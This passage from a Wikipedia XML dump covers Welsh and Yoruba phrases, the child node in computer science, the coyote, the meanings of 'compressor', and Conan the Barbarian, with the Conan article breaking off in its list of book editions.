*You're welcome: ''Da chi'' ''(dah khee)
*No thank you: ''Dim diolch'' ''(dim dee-olkh)
*Yes: ''Ie (EE-eh), Do (doh), Oes (oyss), Ydy (UD-ee) etc. 
There are at least 20 words for &quot;yes&quot;.

To answer &quot;yes&quot; you must agree with the question.

&quot;Oes...?&quot; (Is there...?) is answered with &quot;Oes&quot; (Yes there is).

&quot;Ydy...?&quot; (Is he/she...?) is answered with &quot;Ydy&quot; (Yes he/she is).

&quot;Ydw...?&quot; (Am I...?) would however be answered appropriately with &quot;Ydych&quot; (Yes you are) and vice versa.

&quot;Ie&quot; (Yes) is only used when a proper question hasn't been asked, or in reply to &quot;Ai...?&quot; (Is it...?).

&quot;Do&quot; (Yes I did, Yes you did, etc.)is used in reply to questions in the past tense.
*No: ''Na'' ''(nah) 
To contradict someone or to give a more definite &quot;no&quot; you can however precede the words for &quot;yes&quot; with &quot;na&quot; or &quot;nag&quot;, e.g. &quot;Nag oes!&quot; (No there isn't!)''  (The opposite of ''Do'' is ''Naddo''.)
*(I'm) sorry!: ''Mae'n flin gen i!'' ''(mye'n vleen Gen ee)''
*Isn't it? Wouldn't it? Aren't they? Won't we? etc.: ''Ynte?'' ''(un-teh)''
*Cheers! Good health!: ''Iechyd da!'' ''(YEKH-id dah)''

== [[Yoruba language|Yoruba]] (Benue-Congo) ==

*hello: ''Ba wo ni''
*good-bye: ''O da bo''
*please: ''E jo''
*thank you: ''O se/E se''
*that one: ''Iyen''
*how much?: ''E lo?''
*English: ''Oyinbo''
*yes: ''Be ni''
*no: ''Be ko''

[[Category:Language comparison]]
[[Category:Lists of phrases]]

[[es:Frases usuales en distintos idiomas]]
[[fr:Phrases usuelles en différentes langues]]
[[ko:언어별 기초 회화]]
[[nl:Algemene uitdrukkingen in het Turks]]
[[pt:Frases comuns em diferentes línguas]]
[[ro:Fraze uzuale în diferite limbi]]
[[zh:不同语言中的共同词组]]</text>
    </revision>
  </page>
  <page>
    <title>Child node</title>
    <id>6709</id>
    <revision>
      <id>30780845</id>
      <timestamp>2005-12-10T02:13:11Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <text xml:space="preserve">{{mergeto|Node}}
A '''child node''' or ''descendant node'' is a [[node (computer science)|node]] in a [[tree data structure]] that is linked to by a [[parent node]]. Thinking of the tree as a [[directed graph]], node ''A'' is a child of node ''B'' if and only if node ''A'' is a successor node of ''B''.

A node with no child nodes is called a [[leaf node]].

A node which is not the child of any node (i.e. has no parent) is called a [[root node]].

[[Category:Trees (structure)]]

{{compu-sci-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Coyote</title>
    <id>6710</id>
    <revision>
      <id>41399143</id>
      <timestamp>2006-02-27T01:50:45Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>prominantly---&gt;prominently</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Coyote
| image = Coyote.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Canidae]]
| genus = ''[[Canis]]''
| species = '''''C. latrans'''''
| binomial = ''Canis latrans''
| binomial_authority = [[Thomas Say|Say]], [[1823]]
}}

The '''coyote''' (''Canis latrans'', meaning &quot;barking dog&quot;, also ''prairie wolf''[http://www.bartleby.com/65/x-/X-prairiew.html]) is a member of the [[Canidae]] (the [[dog]] family) and a relative of the domestic dog. Coyotes are only found in [[North America]]. Coyotes may occasionally assemble in small packs, but normally hunt alone. Coyotes live an average of about 6 years. The word &quot;coyote&quot; derives from the [[Nahuatl language|Náhuatl]] (Aztec) word '''cóyotl''' ([[International Phonetic Alphabet|IPA]] /&amp;#712;k&amp;#596;.j&amp;#596;t&amp;#620;/).

Despite being extensively hunted, the coyote is one of the few medium-to-large-sized animals that has enlarged its territory since human encroachment began (another is the [[raccoon]]). Coyotes have moved into most of the areas of North America formerly occupied by [[Gray Wolf|wolves]], and the &quot;dog&quot; one sees scrounging from a suburban trashcan may in fact be a coyote.

== Anatomy ==
[[Image:Coyote portrait.jpg|thumb|200px|left|Coyote profile]]

The coyote stands less than two feet (0.6 m) tall and varies in color from gray to tan with sometimes a reddish tint to its coat. A coyote's ears and nose appear long and pointed, especially in relation to the size of its head. It weighs between 9 - 22 kilograms (20 - 50 lb), averaging 14 kg.  The coyote can be identified by its thick bushy tail, which it often holds low to the ground. It can be distinguished from its much larger relative, the [[Gray Wolf]], by its overall slight appearance compared to the massive 34 to 57 kg (75 to 125 lb) stockiness of the bigger canid. The coyote is an extremely lean animal and may appear underfed even if healthy.

The northeast coyote and the Cape Cod coyote are thought to be a 50% mix with the [[Red Wolf]].  Coyotes can also hybridize and produce fertile offspring with [[Gray Wolf|Gray Wolves]] and domestic dogs.  However practical constraints such as the timing of [[estrus cycle]]s and the need for both parents to care for the pups limit such crosses in the wild.  Hybrids between coyotes and Domestic Dogs are known as &quot;[[Coydog]]s&quot;.

== Behavior ==
[[Image:Coyote in forest.jpg|thumb|right|200px|Coyote in a forest]]

Coyotes are highly adaptable and live in a variety of different niches.  Their behavior can vary widely depending on where they live, but in general they live and hunt singly or in monogamous pairs in search of small mammals including rabbits, mice, shrews, voles, and foxes. It is an omnivore and adapts its diet to the available food sources including fruits, grasses, and vegetables along with small mammals. In [[Yellowstone National Park]], before the reintroduction of the [[wolf]], they began to fill the wolf's ecological niche, and hunted in packs to bring down large prey.

Coyotes mate for life. They breed around the month of February and 4&amp;ndash;6 pups are born in late April or early May.  Both parents (and sometimes undispersed young from the previous year) help to feed the pups.  At three weeks old the pups leave the den under close watch of their parents.  Once the pups are eight to twelve weeks old they are taught to hunt. Families stay together through the summer but the young break apart to find their own territories by fall.  They usually relocate within ten miles. The young are sexually mature at 1 year of age.
[[Image:Coyote closeup.jpg|thumb|left|200px|Coyote with a ruddy tint in its fur]]
Hearing a coyote is much more common than seeing one. The calls a coyote makes are high-pitched and variously described as howls, yips, yelps and barks. These calls may be a long rising and falling note (a howl) or a series of short notes (yips). These calls are most often heard at dusk or night, less often during the day. Although these calls are made throughout the year, they are most common during the spring mating season and in the fall when the pups leave their families to establish new territories. Many people find these calls eerie or disturbing. As well, its howl can be very deceiving: due to the way the sound carries, it can seem as though it is in one place, when the coyote is really elsewhere.

In rural areas, coyotes will respond to human calls. This is most often after the coyotes have started a howling session. They will also respond to recorded howls. In some of these areas, the coyotes will stop and wait for the humans to stop before resuming their howling session, once they've figured out that it isn't one of them that's been calling to them. In areas where the coyotes have grown accustomed to humans calling back to them, they tend to continue with simpler calls back to the humans and return to more complex calls when the humans get tired of calling to them. Playing a recorded wolf howl will make them stop for up to an hour before they start in again (probably because wolves prey upon coyotes.)

Coyotes may also thrive in urban settings.  A study by scientists at The [[Ohio State University]] yielded some surprising findings in this regard.  Researchers studied Coyote populations in [[Chicago, IL]] over a six year period, proposing that coyotes have adapted well to living in densely populated urban environments while avoiding contact with humans.  They found, among other things, that urban coyotes tend to live longer than their rural counterparts, help humans by killing vermin and other small animals, and live anywhere from parks to industrial areas.{{ref|URB}}   The scientists estimate that there are up to 2,000 coyotes living in [[Chicagoland]] and that this circumstance may well apply to many other urban landscapes in North America.{{ref|URB}}

== Character in mythology ==
{{main|Coyote (mythology)}}

Many myths from [[Native American (Americas)|Native American]] peoples that include a character named &quot;Mika&quot; or just &quot;Coyote&quot;.  He can play the role of [[trickster]] or [[culture hero]] (or both), and also often appears in [[creation myth]]s and [[just-so story|just-so stories]].

== Fictional coyotes ==
[[Image:Coyote in grass.jpg|thumb|right|200px|Coyote]]

*[[Road Runner cartoon|Wile E. Coyote]] is a [[Warner Brothers]] cartoon coyote who is endlessly trying to catch and eat an extremely fast [[Greater Roadrunner|Road Runner]] with his tricks, many of which involve technology or [[Rube Goldberg#Rube_Goldberg_machines|Rube Goldberg machines]]. His efforts are always futile, and he usually harms himself in the effort. It is likely that the stereotype of Coyote-as-trickster helped form the basis of this protagonist. The cartoon character Wile E. Coyote has a comically exaggerated nose, tail and ears, inspired by the appearance of the real animal.

* Coyotes feature prominently in the novel ''The Book of Sorrows'', by Walter Wangerin Jr, sequel to the award-winning ''The Book of the Dun Cow''.  The coyote Ferric is a skinny, scared creature struggling to feed his wife Rachael and their three pups, and to protect them from the cruel, wild world outside the den. As he travels far from home looking for food in the barren winter, he accidently sets in motion a chain of events that bring Heaven and Hell crashing down upon him, and on every living thing in the land.

* The [[San Antonio Spurs]] NBA basketball team has used a Coyote as its mascot for more than 22 years. The character was created by Tim Derk.

* The mascots of the Phoenix NHL hockey team are the [[Phoenix Coyotes]].

* Coyote the [[trickster]] appears as a major character in the novel ''[[Coyote Blue]]'' by [[Christopher Moore]].  He is the companion of the [[protagonist]], a [[Crow Indian]] used-car salesman. A number of traditional Crow stories about Coyote are used as [[vignette]]s in the story.

*Coyote, trickster and creator, is a central character in Ursula Le Guin's ''Buffalo Gals'', and also plays a role in Thomas King's ''Green Grass, Running Water''.

*In the [[Disney Channel|Disney]] cartoon show [[Gargoyles]], Coyote is the name of a series of robots of human level intelligence created by Xanatos and having his personality. Also, the mythical Coyote the [[trickster]] makes an appearance in the episode &quot;Cloud Fathers&quot;, and is portrayed as one of [[Oberon's children]].

*''[[Sky Coyote]]'' is the role taken by the [[cyborg]] Joseph in the book of that title by [[Kage Baker]], to convince the [[Chumash]] tribe of [[California]] to evacuate before white men could wipe them out in 1700.

==Vocalization==
The coyote is one of the few wild animals whose vocalizations are commonly heard. At night coyotes both howl (a high quavering cry) and emit a series of short, high-pitched yips. Howls are used to keep in touch with other coyotes in the area. Sometimes, when it is first heard, the listener may experience a tingling fear of primitive danger, but to the seasoned outdoorsman, the howl of the coyote is truly a song of the West.


'''Howling''' - communication with others in the area. Also, an announcement that “I am here and this is my area. Other males are invited to stay away but females are welcome to follow the sound of my voice. Please answer and let me know where you are so we don't have any unwanted conflicts.”

'''Yelping''' - a celebration or criticism within a small group of coyotes. Often heard during play among pups or young animals.

'''Bark''' - The scientific name for coyotes means &quot;Barking dog,&quot; Canis latrans. The bark is thought to be a threat display when a coyote is protecting a den or a kill.

'''Huffing''' - is usually used for calling pups without making a great deal of noise.


== External links ==
{{commons|Coyote}}
* [http://www.sinapu.org/Pages/Coyotes/Coyotes.htm Coyotes in the Southern Rockies]
* [http://www.coyoterescue.org/ Indiana Coyote Rescue Center]
* [http://homepage.mac.com/mooncusser/iMovieTheater216.html/ Coyote Video] by Mooncusser Films.
* [http://digital-desert.com/wildlife/coyote.html Coyotes in the Mojave Desert food chain]
* [http://landoftheshuswap.com/msite/legend.php  Stseptekwle – Stories of the Secwepemc] including several coyote legends.

==References==
# {{note|URB}} &lt;span class=&quot;plainlinks&quot;&gt;[http://www.world-science.net/othernews/060105_coyotefrm.htm]. ''Thriving under our noses, stealthily: coyotes'' URL accessed on [[January 9th]], [[2006]].&lt;/span&gt;

[[Category:Canines]]
[[Category:Fauna of Mexico]]
[[Category:Wildlife of North America]]

[[bg:Койот]]
[[da:Prærieulv]]
[[de:Kojote]]
[[es:Canis latrans]]
[[fr:Coyote (animal)]]
[[io:Koyoto]]
[[it:Canis latrans]]
[[he:קויוט]]
[[ja:コヨーテ]]
[[la:Coiotes]]
[[lt:Kojotas]]
[[nah:Coyōtl]]
[[nl:Coyote]]
[[pl:Kojot]]
[[pt:Coiote]]
[[ru:Койот]]
[[fi:Kojootti]]
[[sv:Prärievarg]]</text>
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  <page>
    <title>Compressor</title>
    <id>6711</id>
    <revision>
      <id>38034774</id>
      <timestamp>2006-02-03T19:15:37Z</timestamp>
      <contributor>
        <username>Baryonic Being</username>
        <id>226242</id>
      </contributor>
      <minor />
      <comment>Link</comment>
      <text xml:space="preserve">'''Compressor''' has several meanings:

* A [[gas compressor]] is a mechanical device that takes in a [[gas]] and increases its [[pressure]] by squeezing a volume of it into a smaller volume. See [[refrigerator]], [[electric motor]].
* A device or computer program that reduces the [[dynamic range]] of a signal. In audio production, a compressor is often applied to the final mix as part of the [[audio mastering|mastering]] process.  See [[audio level compression]].
* [[Apple Computer]] distributes a [[DVD]] video compression software program named &quot;[[Compressor (software)|Compressor]]&quot;.  The professional-quality program is included with Apple's [[Final Cut Pro]] video editing software.
* A computer program that [[data compression|compresses data]] is sometimes called ''compressor''.

== See also ==
* [[compression]]

{{disambig}}
&lt;!--after Nederlands as &quot;Nihongo&quot;--&gt;

[[de:Kompressor]]
[[fr:Compresseur]]
[[io:Kompresilo]]
[[nl:Compressor]]
[[ja:コンプレッサー]]</text>
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  <page>
    <title>Compressors</title>
    <id>6712</id>
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      <id>15904833</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Compressor]]
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  </page>
  <page>
    <title>Conan the Barbarian</title>
    <id>6713</id>
    <revision>
      <id>41056871</id>
      <timestamp>2006-02-24T19:56:39Z</timestamp>
      <contributor>
        <ip>87.202.36.180</ip>
      </contributor>
      <comment>+pt</comment>
      <text xml:space="preserve">[[Image:Conan9.jpg|thumb|300px|right|&quot;Hither came Conan, the Cimmerian, black-haired, sullen-eyed, sword in hand, a thief, a reaver, a slayer, with gigantic melancholies and gigantic mirth, to tread the jeweled thrones of the Earth under his sandalled feet.&quot; [[Robert E. Howard]], ''[[The Phoenix on the Sword]]'', 1932.]]
'''Conan the Barbarian''' (also known as '''Conan the Cimmerian''', from the name of his homeland, [[Cimmeria (Conan)|Cimmeria]]) is a literary [[fictional character|character]] created by [[Robert E. Howard]] in a series of [[fantasy]] [[Pulp magazine|pulp]] stories published in ''[[Weird Tales]]'' in the [[1930s]].

==Setting==
&lt;!-- Image with unknown copyright status removed: [[Image:hyborianauctionmap.jpg|thumb|200px|right|A map of Robert E. Howard's [[Hyborian Age|Hyborian world]].]] --&gt;
The Conan stories take place on [[Earth]], but in the mythical (created by Howard) &quot;[[Hyborian Age]],&quot; between the time of the sinking of [[Atlantis]] and the rise of the known ancient civilizations. According to Howard himself (in [[The Phoenix on the Sword]]): ''&quot;...between the years when the [[ocean]]s drank Atlantis and the gleaming [[cities]], and the years of the rise of the [[Aryan|Sons of Aryas]]...&quot;''

==Characteristics==
Conan is a [[Cimmeria (Conan)|Cimmeria]]n (not to be confused with the historical [[Cimmerians]]), a [[barbarian]] of the far north; he was born on a battlefield and is the son of a [[blacksmith]]. He grew up fast: by age fifteen he was already a respected [[warrior]], participating in the destruction of the Aquilonian outpost of Venarium. After this he was struck by wanderlust and began the colorful and exciting adventures chronicled by Howard (and subsequently, after Howard's death, by others), encountering fabulous monsters, evil [[wizard]]s, and beautiful wenches and [[princess]]es - he has travelled throughout the world and been a [[thief]] and [[outlaw]], a [[mercenary]] and commander of a mercenary company, and a [[pirate]]. He begins building larger units of men, aiming for greater territorial ambitions, though his efforts are repeatedly thwarted - usually by the total massacre of his force excepting himself. But in his forties he finally succeeds, becoming [[monarch|king]] of [[Aquilonia (Conan)|Aquilonia]], the most powerful kingdom of the age, having strangled the previous ruler on the steps of the throne. Although Conan's adventures often result in him performing heroic feats, his motive is more than often his own survival, enrichment or rise to power and he thus displays many of the characteristics of an [[anti-hero]].

==Appearance==
Conan has &quot;sullen blue eyes,&quot; long black hair, stands at least 2 m (6 ft 6 in) and weighs over 90 kg (200 lb) though this is a later extrapolation and Howard never gives dimensions for either.{{fact}} In the tales no human is ever described as stronger than Conan, although several are mentioned as taller (such as the strangler Baal-pteor) or of larger bulk. Although Conan is muscular, Howard frequently compares his agility and way of moving to that of a panther (see for instance ''[[Jewels of Gwahlur]]'', ''[[Beyond the Black River]]'' or ''[[Rogues in the House]]''). His skin is frequently characterised as bronzed from constant exposure to the sun and his garb is most commonly a loincloth, sandals and a sword of some description, depending on his fortunes and location. In his younger years, he is often depicted wearing a light chain shirt and a horned helmet, though appearances vary with different artists.

During his reign as King of Aquilonia, Conan was &quot;... a tall man, mightily shouldered and deep of chest, with a massive corded neck and heavily muscled limbs.  He was clad in silk and velvet, with the royal lions of Aquilonia worked in gold upon his rich jupon, and the crown of Aquilonia shone on his square-cut black mane; but the great sword at his side seemed more natural to him than the regal accouterments.  His brow was low and broad, his eyes a volcanic blue that smoldered as if with some inner fire.  His dark, scarred, almost sinister face was that of a fighting-man, and his velvet garments could not conceal the hard, dangerous lines of his limbs.&quot; (''[[The Hour of the Dragon]]'' which can be found in the anthology ''The Bloody Crown of Conan'', pg. 89-90). He loses none of his vigour with age with the above description coming when he is in his mid 40's.

Though several later authors have referred to Conan as &quot;Germanic-looking,&quot; Howard imagined the Cimmerians as a proto-[[Celt]]ic people with mostly dark hair and blue or grey eyes. Racially the Cimmerians to which Conan belongs are descendants of the Atlanteans, though they do not remember their ancestry. In his pseudo-historical essay &quot;The Hyborian age&quot;, Howard describes how the people of Atlantis (the land where his character [[King Kull]] originated) had to move east after a great cataclysm changed the face of the world and sank their island, settling where northern Scotland and Norway would eventually be located. In the same work, Howard also described how the Cimmerians eventually moved south and east after the age of Conan (presumably in the vicinity of the Black Sea, where the historical [[Cimmerians]] dwelt).

==Abilities and Characteristics==
Despite his brutish appearance, Conan uses his brain as well as his brawn. The Cimmerian is a talented fighter, but due to his travels abroad, he also has vast experience in other trades, especially the thiefly one; he is also a talented commander, tactician and strategist, as well as a born leader. In addition, Conan speaks many languages, including advanced reading and writing abilities: in certain stories, he's able to recognize, or even decipher, certain ancient or secret signs and writings (like when he uses the sign of Jhebbal Sag in ''[[Beyond the Black River]]'') (but noticeably, he apparently is never shown by Howard reading Stygian, though he can speak it), and his very first appearance (in ''[[The Phoenix on the Sword]]'') shows him busy writing.
Another noticeable trait is his sense of humour, largely absent in the comics and movies, but very much a part of Howard's original vision of the character, particularly apparent in [[Xuthal of the Dusk]] a.k.a. The Slithering Shadow.
He is a loyal friend to those true to him with a barbaric code of honour and chivalry that often marks him as more civilized than those more sophisticated people he meets in his travels. Indeed his straighforward nature and barbarism are constants in all the tales. 

One fact that is often emphasized is that Conan is very difficult to defeat in hand-to-hand combat. Conan needs only to have his back to the wall so that he cannot be surrounded, and then is capable of engaging and killing opponents by the score. This is seen in several stories, such as ''[[Queen of the Black Coast]]'', &quot;[[The Scarlet Citadel]]&quot; and ''[[A Witch Shall be Born]]''. Conan is not superhuman, though: he did need the providential help of Zelata's wolf to defeat four Nemedian soldiers in the story &quot;[[The Hour of the Dragon]]&quot;. Some of his hardest victories have come from fighting single opponents, but ones of inhuman strength: one such as Thak, the ape man from [[Rogues in the House]], or the strangler Baal-Pteor in [[Shadows in Zamboula]]. Conan is far from untouchable and has been captured several times (knocking himself out running into a wall drunk after being betrayed, although he still slays the people initally sent to arrest him, a fall from a wounded horse) but never as a result of martial failings.

==Influences==
Howard corresponded with [[H. P. Lovecraft]], though it is extremely unlikely that they ever met, and the two would sometimes insert references to elements of each others' settings in their works; the Conan stories thus could be said to have originally occurred in the [[Cthulhu Mythos]] universe. Modern editors have since reworked many of the original Conan stories, however, diluting this connection.

The Conan stories are informed by the popular interest of the time in ideas on [[evolution]] and [[social Darwinism]]. Are some peoples destined to rule over others? Are our physical and mental characteristics the result of our experiences or our inheritance from our ancestors? Is human [[civilization]] a natural or unnatural development? As Conan remarks in one story:

::''Civilized men are more discourteous than savages because they know they can be impolite without having their skulls split, as a general thing.'' (Howard, ''[[The Tower of the Elephant]]'', Weird Tales, March 1933)

Additionally, some fans such as comic book artist [[Mark Schultz]] have concluded that Conan was an idealized [[alter ego]] for Howard. Unlike the modern, stereotypical view of a brainless barbarian (mainly from his appearances in movies and comics), Howard originally created Conan as a thoughtful but melancholic figure who often battled with [[clinical depression|depression]], much like Howard himself (the writer eventually committed [[suicide]]). However, Howard's Conan is unaffected by such feelings:

::''Let teachers and priests and philosophers brood over questions of reality and illusion. I know this: if life is an illusion, then I am no less an illusion, and being thus, the illusion is real to me. I live, I burn with life, I love, I slay, and I am content.'' (Howard, ''[[Queen of the Black Coast]]'', Weird Tales, May 1934).

==The Original Robert E. Howard Conan Stories==
[[Image:Weird Tales QotBC.jpg|thumb|200px|right|Cover of ''[[Weird Tales]]'' issue May 1934 featuring Conan and [[Bêlit]] from ''[[Queen of the Black Coast]]'', one of [[Robert E. Howard]]'s original Conan stories.]]
===Conan stories published in ''Weird Tales''===
* &quot;[[The Phoenix on the Sword]]&quot; (novelette; ''WT'' 20 6, Dec 1932) 
* &quot;[[The Scarlet Citadel]]&quot; (novelette; ''WT'' 21 1, Jan 1933) 
* &quot;[[The Tower of the Elephant]]&quot; (novelette; ''WT'' 21 3, Mar 1933) 
* &quot;[[Black Colossus]]&quot; (novelette; ''WT'' 21 6, Jun 1933) 
* &quot;[[Xuthal of the Dusk]]&quot;' (novelette; ''WT'' 22 3, Sep 1933, as &quot;The Slithering Shadow&quot;)
* &quot;'[[The Pool of the Black One]]&quot; (novelette; ''WT'' 22 4, Oct 1933) 
* &quot;[[Rogues in the House]]&quot; (novelette; ''WT'' 23 1, Jan 1934) 
* &quot;[[Iron Shadows in the Moon]]&quot; (novelette; ''WT'' 23 4, Apr 1934, as &quot;Shadows in the Moonlight&quot;)
* &quot;[[Queen of the Black Coast]]&quot; (novelette; ''WT'' 23 5, May 1934)  
* &quot;[[The Devil in Iron]]&quot; (novelette; ''WT'' 24 2, Aug 1934) 
* ''[[The People of the Black Circle]]'' (novella; ''WT'' 24 3-5, Sep/Oct/Nov 1934) 
* &quot;[[A Witch Shall be Born]]&quot; (novelette; ''WT'' 24 6, Dec 1934) 
* &quot;[[Jewels of Gwahlur]]&quot; (novelette; ''WT'' 25 3, Mar 1935) 
* ''[[Beyond the Black River]]'' (novella; ''WT'' 25 5-6, May/Jun 1935) 
* &quot;[[Shadows in Zamboula |Man-Eaters of Zamboula]]&quot; (novelette; ''WT'' 26 5, Nov 1935, as &quot;Shadows in Zamboula&quot;) 
* ''[[The Hour of the Dragon]]'' (novel; ''WT'' 26 6 &amp; 25 1-4, Dec 35/Jan/Feb/Mar/Apr 1936)
* ''[[Red Nails]]'' (novella; ''WT'' 28 1-3, Jul/Aug-Sep/Oct 1936)

===Conan stories by Howard not published in his lifetime=== 
* ''[[The Frost Giant's Daughter]]''. Originally a Conan story, but after being rejected, Howard revised it. Retitled as ''The Gods of the North'', the main character's name changed to &quot;Amra of Akbitana.&quot;  The original version has inter alia been published in 2003 in ''The Coming of Conan the Cimmerian''.
* ''[[The God in the Bowl]]''. Published inter alia in 2003 in ''The Coming of Conan the Cimmerian''.
* ''[[The Vale of Lost Women]]''. Published inter alia in 2003 in ''The Coming of Conan the Cimmerian''.
* ''[[The Black Stranger]]''. Rewritten by [[L. Sprague de Camp]] as ''The Treasure of Tranicos''. Howard's version published in 1987 in ''Echoes of Valor''.

===Unfinished Conan stories by Howard===
* ''The Snout in the Dark''. Fragment.
* ''Drums of Tombalku''. Fragment.
* ''The Hall of the Dead''. Synopsis only.
* ''The Hand of Nergal''. Fragment.
* There also exist a number of untitled synopses of Conan stories.

===Other Conan related material by Howard===
* ''Wolves Beyond the Border'' - a non-Conan story set in Conan's world. Fragment.
* ''[[The Hyborian Age]]'' - an essay on the [[Hyborian Age]], the fictional setting of the Conan stories. Published in 2003 in ''The Coming of Conan the Cimmerian''.
* ''[[Cimmeria (Poem)|Cimmeria]]'' - a poem written by Howard in 1932. Published in 2003 in ''The Coming of Conan the Cimmerian''.

===Textual history===
Following Howard's death, the copyright of the Conan stories passed through several hands. Eventually, under the guidance of [[L. Sprague de Camp]] and [[Lin Carter]], the stories were expurgated, revised, and (in some cases) completely rewritten. For more than fifty years, Howard's original Conan stories remained out of print. In the [[1980s]] and [[1990s]], the copyright holders took Howard's stories out of print entirely, while continuing to sell pastiche works by other authors (see below).

Then, in [[2000]], [[Victor Gollancz Ltd|Gollancz Science Fiction]], a British publisher, issued a two-volume, complete edition of Howard's Conan stories as part of their Fantasy Masterworks imprint (including several stories which had never seen print in their original form). Gollancz' edition used the original versions of the stories as published in Weird Tales.

In [[2003]], a British publisher named [[Wandering Star]] made an effort to both restore Howard's original manuscripts and to provide a more scholarly and historical view of the Conan stories. They published deluxe hardcover editions in England, which are being republished in the USA by the Del Rey imprint of [[Ballantine Books]]. The first book, ''Conan of Cimmeria: Volume One (1932-1933)'' (2003; vt ''The Coming of Conan the Cimmerian'' 2003 US) includes Howard's notes on the fictional setting, as well as letters and poems concerning the genesis of his ideas. It also includes the first thirteen Conan short stories Howard wrote, published between [[1932]] and [[1934]]. This volume has been followed by ''Conan of Cimmeria: Volume Two (1934)'' (2004; vt ''The Bloody Crown of Conan'' (2005 US), with the final title forthcoming in fall 2005: ''Conan of Cimmeria: Volume Three (1935-1936)'' (2005; vt  ''The Conquering Sword of Conan'' 2005 US). Between the three books, readers will finally have all of the original unedited Robert E. Howard stories available for the first time.

==Book editions==
&lt;!-- Unsourced image removed: [[Image:ffrazetta2.jpg|thumb|200px|right|One of the many classic illustrations of Conan painted by [[Frank Frazetta]] for paperback editions.]] --&gt;
The character of Conan has proven durably popular, resulting in pastiche Conan stories being assembled by later writers such as [[Lin Carter]], [[L. Sprague de Camp]], [[Karl Edward Wagner]], [[John Maddox Roberts]], [[Andrew J. Offutt]], [[J. Ramsey Campbell]], [[Poul Anderson]], [[Richard A. Lupoff]], [[Björn Nyberg]], [[Robert Jordan]], [[Steve Perry (author)|Steve Perry]], [[Leonard Carpenter]] and [[John C. Hocking]]. Some of these pastiches have finished incomplete Conan manuscripts by Howard (listed above). Others were created by rewriting Howard stories which originally featured entirely different characters from entirely different milieus. Most, however, are completely original works. In total, more than fifty pastiche novels and dozens of short stories featuring the Conan character have been written by authors other than Howard. The notable book editions of the Conan stories are:

===The [[Gnome Press]] editions, 1959-1957===
The Gnome Press edition of Conan was the first hardcover collection of Howard's Conan stories, and included the earliest pastiches.

*''Conan the Conqueror'' (AKA ''[[The Hour of the Dragon]]'') (1950)
*''The Sword of Conan'' (1952)
*''King Conan'' (1953)
*''The Coming of Conan'' (1953)
*''Conan the Barbarian'' (1954)
*''Tales of Conan'' (1955) (originally non-Conan Howard stories rewritten as Conan stories by L. Sprague de Camp)
*''The Return of Conan'' (1957) (pastiche by Björn Nyberg and L. Sprague de Camp)

===The Lancer/Ace paperback editions, 1966-1977===
[[Image:Conan usurper.jpg|thumb|175px|right|The cover of ''Conan the Usurper'' (1967) by [[Frank Frazetta]] (artist).]] 
The first comprehensive paperback edition, which compiled the existing Howard stories and pastiches together with new pastiches in chronological order, to form a complete account of Conan's life. Lancer Books went out of business before bringing out the entire series, the publication of which was completed by Ace Books. 

Undertaken under the direction of De Camp and Carter, this edition includes all the original Howard material, including that left unpublished in his lifetime and fragments and outlines. However, De Camp and Carter heavily edited much of the material, even seriously rewriting some stories (like &quot;The Treasure of Tranicos&quot;) and completing the stories that were not in finished form. They also rewrote several non-Conan Howard stories, mostly historical exotica situated in the [[Levant]] at the time of the crusades, to turn them into Conan yarns. Pastiches written entirely by themselves were added as well. In the following list, volumes 6 and 10&amp;ndash;12 don't contain a word by Howard. Of the thirty-five stories in the other eight volumes, nineteen were published or completed by Howard during his lifetime, but with an undetermined amount of new edits, ten are &quot;collaborations&quot; rewritten from other complete manuscripts or completed from his incomplete manuscripts, fragments or synopses, and six are the sole work of De Camp and Carter. Many purist Howard fans have taken exception to these editorial practices.

#''Conan'' (1968) (by Robert E. Howard, L. Sprague de Camp, and Lin Carter)
#''Conan of Cimmeria'' (1969) (by Robert E. Howard, L. Sprague de Camp, and Lin Carter)
#''Conan the Freebooter'' (1968) (by Robert E. Howard and L. Sprague de Camp)
#''Conan the Wanderer'' (1968) (by Robert E. Howard and L. Sprague de Camp)
#''Conan the Adventurer'' (1966) (by Robert E. Howard and L. Sprague de Camp)
#''Conan the Buccaneer'' (1971) (by L. Sprague de Camp and Lin Carter)
#''Conan the Warrior'' (1967) (by Robert E. Howard)
#''Conan the Usurper'' (1967) (by Robert E. Howard and L. Sprague de Camp)
#''Conan the Conqueror'' (AKA ''[[The Hour of the Dragon]]'') (1967) (by Robert E. Howard)
#''Conan the Avenger'' (AKA ''The Return of Conan'') (1968) (by Bjorn Nyberg and L. Sprague de Camp)
#''Conan of Aquilonia'' (1977) (by L. Sprague de Camp and Lin Carter)
#''Conan of the Isles'' (1968) (by L. Sprague de Camp and Lin Carter)

===The [[Donald M. Grant]] editions, 1974-1989===
A series of illustrated limited editions of the Howard Conan stories only, containing one or two stories per volume. The series ran out of steam before publishing the last five of the stories and three of the fragments.
*''People of the Black Circle'' (1974)
*''The Tower of the Elephant'' (1975) (also includes &quot;The God in the Bowl&quot;)
*''A Witch Shall Be Born'' (1975)
*''Red Nails'' (1975)
*''The Devil in Iron'' (1976) (also includes &quot;Shadows in Zamboula&quot;)
*''Rogues in the House'' (1976) (also includes &quot;The Frost-Giant's Daughter&quot;)
*''Queen of the Black Coast'' (1978) (also includes &quot;The Vale of Lost Women&quot;)
*''Jewels of Gwahlur'' (1979) (also includes &quot;The Snout in the Dark&quot; fragment)
*''Black Colossus'' (1979) (also includes &quot;Shadows in the Moonlight&quot;)
*''Pool of the Black One'' (1986) (also includes &quot;Drums of Tombalku&quot; fragment)
*''[[The Hour of the Dragon]]'' (1989)

===The Berkeley editions, 1977===
Edited by Karl Edward Wagner, this series, like the Grant edition, included only the Howard Conan stories.

*''[[The Hour of the Dragon]]'' (Aug. 1977)
*''The People of the Black Circle'' (Sep. 1977)
*''Red Nails'' (Oct. 1977)

===The Bantam editions, 1978-1982===
A series of pastiches continuing and supplementing the Lancer/Ace series.

#''Conan the Swordsman'' (Aug. 1978) (by L. Sprague de Camp, Lin Carter, and Bjorn Nyberg)
